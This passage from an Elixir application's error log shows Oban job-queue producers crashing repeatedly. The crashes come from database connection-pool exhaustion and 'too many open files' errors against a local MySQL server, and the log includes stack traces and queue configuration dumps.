    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:41:27.239637Z], limit: 5, uuid: "f378f11b-2d97-4b9a-aaf0-516404724d4c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:41:27.239643Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.214179>, refresh_timer: #Reference<0.2525715032.1121189889.214127>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:41:39.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1055ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:41:27.239600Z], limit: 5, uuid: "f04347e0-3144-4a76-b0f2-dd3f8427569b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:41:27.239609Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.214180>, refresh_timer: #Reference<0.2525715032.1121189889.214124>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:41:39.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1091ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:41:27.239796Z], limit: 50, uuid: "b9b1c76b-3773-46a9-ac50-d94300085bf5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:41:27.239801Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.214181>, refresh_timer: #Reference<0.2525715032.1121189889.214136>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:41:39.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 884ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:41:27.239880Z], limit: 3, uuid: "8bd544d5-4f22-407d-9e84-629519670af9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:41:27.239887Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.214182>, refresh_timer: #Reference<0.2525715032.1077673987.48612>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:41:39.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 801ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:41:27.240777Z], limit: 20, uuid: "c475c23f-fe59-460c-a00b-8d63ebc3d390", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:41:27.240783Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.66589>, refresh_timer: #Reference<0.2525715032.1068498948.72720>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:41:43.050000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:41:45.143000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:41:45.846000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:41:49.646000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:41:50.967000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:41:51.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 854ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:41:39.238935Z], limit: 10, uuid: "a2d80fcb-2c26-4c97-9abe-bded7211223a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:41:39.238942Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.66667>, refresh_timer: #Reference<0.2525715032.1099431938.66634>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:41:51.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 844ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:41:39.240370Z], limit: 5, uuid: "5dca8fb3-471e-40cd-a2d0-5372dfcdcf53", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:41:39.240375Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.214638>, refresh_timer: #Reference<0.2525715032.1068498948.72897>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:41:51.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1078ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:41:39.241632Z], limit: 20, uuid: "7c6f3cb7-97df-49f5-a746-2d5fcf6dce38", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:41:39.241637Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.214635>, refresh_timer: #Reference<0.2525715032.1121189889.214624>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:41:51.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 832ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:41:39.240587Z], limit: 3, uuid: "d5e2b99c-4583-4243-b9bd-b3a10cf1e743", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:41:39.240592Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.214637>, refresh_timer: #Reference<0.2525715032.1121189889.214614>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:41:51.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 879ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
